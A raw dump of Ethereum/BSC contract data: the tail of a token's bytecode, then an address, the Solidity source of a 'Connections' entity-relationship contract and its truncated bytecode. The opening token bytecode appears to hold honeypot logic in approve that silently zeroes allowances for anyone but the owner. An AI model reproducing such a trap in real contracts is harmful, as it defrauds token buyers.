fffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e65b027304a4cbbf6a31a10c0234d07c3811f9907aedaaa823d595772ff169fc64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,101
0x75d884981d814d676b4b6930038ee9887129b639
pragma solidity 0.4.19; contract IConnections { // Forward = the connection is from the Connection creator to the specified recipient // Backwards = the connection is from the specified recipient to the Connection creator enum Direction {NotApplicable, Forwards, Backwards, Invalid} function createUser() external returns (address entityAddress); function createUserAndConnection(address _connectionTo, bytes32 _connectionType, Direction _direction) external returns (address entityAddress); function createVirtualEntity() external returns (address entityAddress); function createVirtualEntityAndConnection(address _connectionTo, bytes32 _connectionType, Direction _direction) external returns (address entityAddress); function editEntity(address _entity, bool _active, bytes32 _data) external; function transferEntityOwnerPush(address _entity, address _newOwner) external; function transferEntityOwnerPull(address _entity) external; function addConnection(address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction) public; function editConnection(address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction, bool _active, bytes32 _data, uint _expiration) external; function removeConnection(address _entity, address _connectionTo, bytes32 _connectionType) external; function isUser(address _entity) view public returns (bool isUserEntity); function getEntity(address _entity) view external returns (bool active, address transferOwnerTo, bytes32 data, address owner); function getConnection(address _entity, address _connectionTo, bytes32 _connectionType) view external returns (bool entityActive, bool connectionEntityActive, bool connectionActive, bytes32 data, Direction direction, uint expiration); // ################## Events ################## // event entityAdded(address indexed entity, address indexed owner); event entityModified(address indexed entity, address indexed owner, bool indexed active, bytes32 data); event entityOwnerChangeRequested(address indexed entity, address indexed oldOwner, address newOwner); event entityOwnerChanged(address indexed entity, address indexed oldOwner, address newOwner); event connectionAdded(address indexed entity, address indexed connectionTo, bytes32 connectionType, Direction direction); event connectionModified(address indexed entity, address indexed connectionTo, bytes32 indexed connectionType, Direction direction, bool active, uint expiration); event connectionRemoved(address indexed entity, address indexed connectionTo, bytes32 indexed connectionType); event entityResolved(address indexed entityRequested, address indexed entityResolved); } /** * @title Connections v0.2 * @dev The Connections contract records different connections between different types of entities. * * The contract has been designed for flexibility and scalability for use by anyone wishing to record different types of connections. * * Entities can be Users representing People, or Virtual Entities representing abstract types such as companies, objects, devices, robots etc... * User entities are special: each Ethereum address that creates or controls a User entity can only ever create one User Entity. * Each entity has an address to refer to it. * * Each entity has a number of connections to other entities, which are refered to using the entities address that the connection is to. * Modifying or removing entities, or adding, modifying or removing connections can only be done by the entity owner. * * Each connection also has a type, a direction and an expiration. The use of these fields is up to the Dapp to define and interprete. * Hashing a string of the connection name to create the connection type is suggested to obscure and diffuse types. Example bytes32 connection types: * 0x30ed9383ab64b27cb4b70035e743294fe1a1c83eaf57eca05033b523d1fa4261 = keccak256("isAdvisorOf") * 0xffe72ffb7d5cc4224f27ea8ad324f4b53b37835a76fc2b627b3d669180b75ecc = keccak256("isPartneredWith") * 0xa64b51178a7ee9735fb96d8e7ffdebb455b02beb3b1e17a709b5c1beef797405 = keccak256("isEmployeeOf") * 0x0079ca0c877589ba53b2e415a660827390d2c2a62123cef473009d003577b7f6 = keccak256("isColleagueOf") * */ contract Connections is IConnections { struct Entity { bool active; address transferOwnerTo; address owner; bytes32 data; // optional, this can link to IPFS or another off-chain storage location mapping (address => mapping (bytes32 => Connection)) connections; } // Connection has a type and direction struct Connection { bool active; bytes32 data; // optional, this can link to IPFS or another off-chain storage location Direction direction; uint expiration; // optional, unix timestamp or latest date to assume this connection is valid, 0 as no expiration } mapping (address => Entity) public entities; mapping (address => address) public entityOfUser; uint256 public virtualEntitiesCreated = 0; // ################## Constructor and Fallback function ################## // /** * Constructor */ function Connections() public {} /** * Fallback function that cannot be called and will not accept Ether * Note that Ether can still be forced to this contract with a contract suicide() */ function () external { revert(); } // ################## External function ################## // /** * Creates a new user entity with an address of the msg.sender */ function createUser() external returns (address entityAddress) { entityAddress = msg.sender; assert(entityOfUser[msg.sender] == address(0)); createEntity(entityAddress, msg.sender); entityOfUser[msg.sender] = entityAddress; } /** * Creates a new user entity and a connection in one transaction * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _direction - indicates the direction of the connection type */ function createUserAndConnection( address _connectionTo, bytes32 _connectionType, Direction _direction ) external returns (address entityAddress) { entityAddress = msg.sender; assert(entityOfUser[msg.sender] == address(0)); createEntity(entityAddress, msg.sender); entityOfUser[msg.sender] = entityAddress; addConnection(entityAddress, _connectionTo, _connectionType, _direction); } /** * Creates a new virtual entity that is assigned to a unique address */ function createVirtualEntity() external returns (address entityAddress) { entityAddress = createVirtualAddress(); createEntity(entityAddress, msg.sender); } /** * Creates a new virtual entity and a connection in one transaction * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _direction - indicates the direction of the connection type */ function createVirtualEntityAndConnection( address _connectionTo, bytes32 _connectionType, Direction _direction ) external returns (address entityAddress) { entityAddress = createVirtualAddress(); createEntity(entityAddress, msg.sender); addConnection(entityAddress, _connectionTo, _connectionType, _direction); } /** * Edits data or active boolean of an entity that the msg sender is an owner of * This can be used to activate or deactivate an entity * @param _entity - the address of the entity to edit * @param _active - boolean to indicate if the entity is active or not * @param _data - data to be used to locate off-chain information about the user */ function editEntity(address _entity, bool _active, bytes32 _data) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); Entity storage entity = entities[resolvedEntity]; entity.active = _active; entity.data = _data; entityModified(_entity, msg.sender, _active, _data); } /** * Creates a request to transfer the ownership of an entity which must be accepted. * To cancel a request execute this function with _newOwner = address(0) * @param _entity - the address of the entity to transfer * @param _newOwner - the address of the new owner that will then have the exclusive permissions to control the entity */ function transferEntityOwnerPush(address _entity, address _newOwner) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); entities[resolvedEntity].transferOwnerTo = _newOwner; entityOwnerChangeRequested(_entity, msg.sender, _newOwner); } /** * Accepts a request to transfer the ownership of an entity * @param _entity - the address of the entity to get ownership of */ function transferEntityOwnerPull(address _entity) external { address resolvedEntity = resolveEntityAddress(_entity); emitEntityResolution(_entity, resolvedEntity); Entity storage entity = entities[resolvedEntity]; require(entity.transferOwnerTo == msg.sender); if (isUser(resolvedEntity)) { // This is a user entity assert(entityOfUser[msg.sender] == address(0) || entityOfUser[msg.sender] == resolvedEntity); entityOfUser[msg.sender] = resolvedEntity; } address oldOwner = entity.owner; entity.owner = entity.transferOwnerTo; entity.transferOwnerTo = address(0); entityOwnerChanged(_entity, oldOwner, msg.sender); } /** * Edits a connection to another entity * @param _entity - the address of the entity to edit the connection of * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _active - boolean to indicate if the connection is active or not * @param _direction - indicates the direction of the connection type * @param _expiration - number to indicate the expiration of the connection */ function editConnection( address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction, bool _active, bytes32 _data, uint _expiration ) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); address resolvedConnectionEntity = resolveEntityAddress(_connectionTo); emitEntityResolution(_connectionTo, resolvedConnectionEntity); Entity storage entity = entities[resolvedEntity]; Connection storage connection = entity.connections[resolvedConnectionEntity][_connectionType]; connection.active = _active; connection.direction = _direction; connection.data = _data; connection.expiration = _expiration; connectionModified(_entity, _connectionTo, _connectionType, _direction, _active, _expiration); } /** * Removes a connection from the entities connections mapping. * If this is the last connection of any type to the _connectionTo address, then the removeConnection function should also be called to clean up the Entity * @param _entity - the address of the entity to edit the connection of * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type */ function removeConnection(address _entity, address _connectionTo, bytes32 _connectionType) external { address resolvedEntity = resolveEntityAddressAndOwner(_entity); address resolvedConnectionEntity = resolveEntityAddress(_connectionTo); emitEntityResolution(_connectionTo,resolvedConnectionEntity); Entity storage entity = entities[resolvedEntity]; delete entity.connections[resolvedConnectionEntity][_connectionType]; connectionRemoved(_entity, _connectionTo, _connectionType); // TBD: @haresh should we use resolvedEntity and resolvedConnectionEntity here? } /** * Returns the sha256 hash of a string. Useful for looking up the bytes32 values are for connection types. * Note this function is designed to be called off-chain for convenience, it is not used by any functions internally and does not change contract state * @param _string - string to hash * @return result - the hash of the string */ function sha256ofString(string _string) external pure returns (bytes32 result) { result = keccak256(_string); } /** * Returns all the fields of an entity * @param _entity - the address of the entity to retrieve * @return (active, transferOwnerTo, data, owner) - a tuple containing the active flag, transfer status, data field and owner of an entity */ function getEntity(address _entity) view external returns (bool active, address transferOwnerTo, bytes32 data, address owner) { address resolvedEntity = resolveEntityAddress(_entity); Entity storage entity = entities[resolvedEntity]; return (entity.active, entity.transferOwnerTo, entity.data, entity.owner); } /** * Returns details of a connection * @param _entity - the address of the entity which created the * @return (entityActive, connectionEntityActive, connectionActive, data, direction, expiration) * - tupple containing the entity active and the connection fields */ function getConnection( address _entity, address _connectionTo, bytes32 _connectionType ) view external returns ( bool entityActive, bool connectionEntityActive, bool connectionActive, bytes32 data, Direction direction, uint expiration ){ address resolvedEntity = resolveEntityAddress(_entity); address resolvedConnectionEntity = resolveEntityAddress(_connectionTo); Entity storage entity = entities[resolvedEntity]; Connection storage connection = entity.connections[resolvedConnectionEntity][_connectionType]; return (entity.active, entities[resolvedConnectionEntity].active, connection.active, connection.data, connection.direction, connection.expiration); } // ################## Public function ################## // /** * Creates a new connection to another entity * @param _entity - the address of the entity to add a connection to * @param _connectionTo - the address of the entity to connect to * @param _connectionType - hash of the connection type * @param _direction - indicates the direction of the connection type */ function addConnection( address _entity, address _connectionTo, bytes32 _connectionType, Direction _direction ) public { address resolvedEntity = resolveEntityAddressAndOwner(_entity); address resolvedEntityConnection = resolveEntityAddress(_connectionTo); emitEntityResolution(_connectionTo, resolvedEntityConnection); Entity storage entity = entities[resolvedEntity]; assert(!entity.connections[resolvedEntityConnection][_connectionType].active); Connection storage connection = entity.connections[resolvedEntityConnection][_connectionType]; connection.active = true; connection.direction = _direction; connectionAdded(_entity, _connectionTo, _connectionType, _direction); } /** * Returns true if an entity is a user, false if a virtual entity or fails if is not an entity * @param _entity - the address of the entity * @return isUserEntity - true if the entity was created with createUser(), false if the entity is created using createVirtualEntity() */ function isUser(address _entity) view public returns (bool isUserEntity) { address resolvedEntity = resolveEntityAddress(_entity); assert(entities[resolvedEntity].active); // Make sure the user is active, otherwise this function call is invalid address owner = entities[resolvedEntity].owner; isUserEntity = (resolvedEntity == entityOfUser[owner]); } // ################## Internal functions ################## // /** * Creates a new entity at a specified address */ function createEntity(address _entityAddress, address _owner) internal { require(!entities[_entityAddress].active); // Ensure the new entity address is not in use, prevents forceful takeover off addresses Entity storage entity = entities[_entityAddress]; entity.active = true; entity.owner = _owner; entityAdded(_entityAddress, _owner); } /** * Returns a new unique deterministic address that has not been used before */ function createVirtualAddress() internal returns (address virtualAddress) { virtualAddress = address(keccak256(safeAdd(virtualEntitiesCreated,block.number))); virtualEntitiesCreated = safeAdd(virtualEntitiesCreated,1); } /** * Emits an event if an entity resolution took place. Separated out as it would impact * view only functions which need entity resolution as well. */ function emitEntityResolution(address _entity, address _resolvedEntity) internal { if (_entity != _resolvedEntity) entityResolved(_entity,_resolvedEntity); } /** * Returns the correct entity address resolved based on entityOfUser mapping */ function resolveEntityAddress(address _entityAddress) internal view returns (address resolvedAddress) { if (entityOfUser[_entityAddress] != address(0) && entityOfUser[_entityAddress] != _entityAddress) { resolvedAddress = entityOfUser[_entityAddress]; } else { resolvedAddress = _entityAddress; } } /** * Returns the correct entity address resolved based on entityOfUser mapping and also reverts if the * resolved if it is owned by the message sender * sender. */ function resolveEntityAddressAndOwner(address _entityAddress) internal returns (address entityAddress) { entityAddress = resolveEntityAddress(_entityAddress); emitEntityResolution(_entityAddress, entityAddress); require(entities[entityAddress].owner == msg.sender); } /** * Adds two numbers and returns result throws in case an overflow occurs. */ function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x + y; assert(z >= x); return z; } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a9c29c5146101015780630aa4c8891461017a5780631d0192e11461020c5780631d8ee48a1461025d57806325ad91ce1461032357806339ea68ba146103785780634209fff1146103d057806366ae70e914610421578063693e26dd1461046b5780636f5da961146104c057806375894e8c146104f95780637858651e146105bf578063a6044f281461067d578063c173508b146106a6578063cf66785e1461070b578063d2d134731461077c578063e87b32661461080e575b34156100fc57600080fd5b600080fd5b341561010c57600080fd5b610138600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561018557600080fd5b61020a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190803560ff169060200190919080351515906020019091908035600019169060200190919080359060200190919050506108d3565b005b341561021757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035151590602001909190803560001916906020019091905050610a85565b005b341561026857600080fd5b610294600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b73565b60405180851515151581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826000191660001916815260200194505050505060405180910390f35b341561032e57600080fd5b610336610bf0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038357600080fd5b6103ce600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d17565b005b34156103db57600080fd5b610407600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e3a565b604051808215151515815260200191505060405180910390f35b341561042c57600080fd5b61044d60048080359060200190820180359060200191909192905050610f9c565b60405180826000191660001916815260200191505060405180910390f35b341561047657600080fd5b61047e610fc3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104cb57600080fd5b6104f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fdc565b005b341561050457600080fd5b610530600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113b6565b60405180851515151581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183600019166000191681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b34156105ca57600080fd5b610622600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190505061147c565b60405180871515151581526020018615151515815260200185151515158152602001846000191660001916815260200183600381111561065e57fe5b60ff168152602001828152602001965050505050505060405180910390f35b341561068857600080fd5b6106906115e8565b6040518082815260200191505060405180910390f35b34156106b157600080fd5b610709600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035600019169060200190919050506115ee565b005b341561071657600080fd5b61077a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190803560ff1690602001909190505061174f565b005b341561078757600080fd5b6107cc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190803560ff16906020019091905050611954565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561081957600080fd5b61085e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356000191690602001909190803560ff16906020019091905050611a8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60016020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806108e28b611ab4565b93506108ed8a611b6b565b92506108f98a84611d08565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091508160030160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a600019166000191681526020019081526020016000209050868160000160006101000a81548160ff021916908315150217905550878160020160006101000a81548160ff021916908360038111156109d157fe5b02179055508581600101816000191690555084816003018190555088600019168a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167fc601f34497cd366cb21f7c70b02d1fdb924c28dc92447c12ce320013a9bc207c8b8b8a60405180846003811115610a5357fe5b60ff16815260200183151515158152602001828152602001935050505060405180910390a45050505050505050505050565b600080610a9185611ab4565b91506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050838160000160006101000a81548160ff021916908315150217905550828160020181600019169055508315153373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fb4a44f49e7689d5d2cbcf64d78c6dc65de2300e3fc8192e134093dd9616615e28660405180826000191660001916815260200191505060405180910390a45050505050565b60006020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154905084565b6000339050600073ffffffffffffffffffffffffffffffffffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c8c57fe5b610c968133611d9c565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555090565b6000610d2283611ab4565b9050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f586001067cfd3cac9ff78f1fcea08b2a4df6297c24cb4fbcce33d58d18ed161084604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a3505050565b6000806000610e4884611b6b565b91506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515610ea157fe5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161492505050919050565b60008282604051808383808284378201915050925050506040518091039020905092915050565b6000610fcd611ef8565b9050610fd98133611d9c565b90565b6000806000610fea84611b6b565b9250610ff68484611d08565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091503373ffffffffffffffffffffffffffffffffffffffff168260000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561109457600080fd5b61109d83610e3a565b1561124d57600073ffffffffffffffffffffffffffffffffffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111c657508273ffffffffffffffffffffffffffffffffffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15156111ce57fe5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008260000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fa84707ed1a20537aa3545a97567a462fab29774dfcabf7c1337352c5099fb8ae33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a350505050565b6000806000806000806113c887611b6b565b91506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000160009054906101000a900460ff168160000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600201548360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16955095509550955050509193509193565b6000806000806000806000806000806114948d611b6b565b935061149f8c611b6b565b92506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091508160030160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c6000191660001916815260200190815260200160002090508160000160009054906101000a900460ff166000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff168260000160009054906101000a900460ff1683600101548460020160009054906101000a900460ff1685600301549950995099509950995099505050505093975093979195509350565b60025481565b60008060006115fc86611ab4565b925061160785611b6b565b91506116138583611d08565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008560001916600019168152602001908152602001600020600080820160006101000a81549060ff021916905560018201600090556002820160006101000a81549060ff02191690556003820160009055505083600019168573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f4b238bcbf7cb21a3e4744d42aed7c0fae81b61207320ff3f547e542497e3120d60405160405180910390a4505050505050565b60008060008061175e88611ab4565b935061176987611b6b565b92506117758784611d08565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091508160030160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000876000191660001916815260200190815260200160002060000160009054906101000a900460ff1615151561182957fe5b8160030160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008760001916600019168152602001908152602001600020905060018160000160006101000a81548160ff021916908315150217905550848160020160006101000a81548160ff021916908360038111156118c257fe5b02179055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f356e8b58ffa49eb58d48aa756231b01699dec71eb273a61c1ee94f1887a7c76c888860405180836000191660001916815260200182600381111561193657fe5b60ff1681526020019250505060405180910390a35050505050505050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff16600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119f057fe5b6119fa8133611d9c565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a848185858561174f565b9392505050565b6000611a95611ef8565b9050611aa18133611d9c565b611aad8185858561174f565b9392505050565b6000611abf82611b6b565b9050611acb8282611d08565b3373ffffffffffffffffffffffffffffffffffffffff166000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611b6657600080fd5b919050565b60008073ffffffffffffffffffffffffffffffffffffffff16600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611c9357508173ffffffffffffffffffffffffffffffffffffffff16600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15611cff57600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611d03565b8190505b919050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515611d98578073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f15687d9854ff02176ac79b483777770fb54b5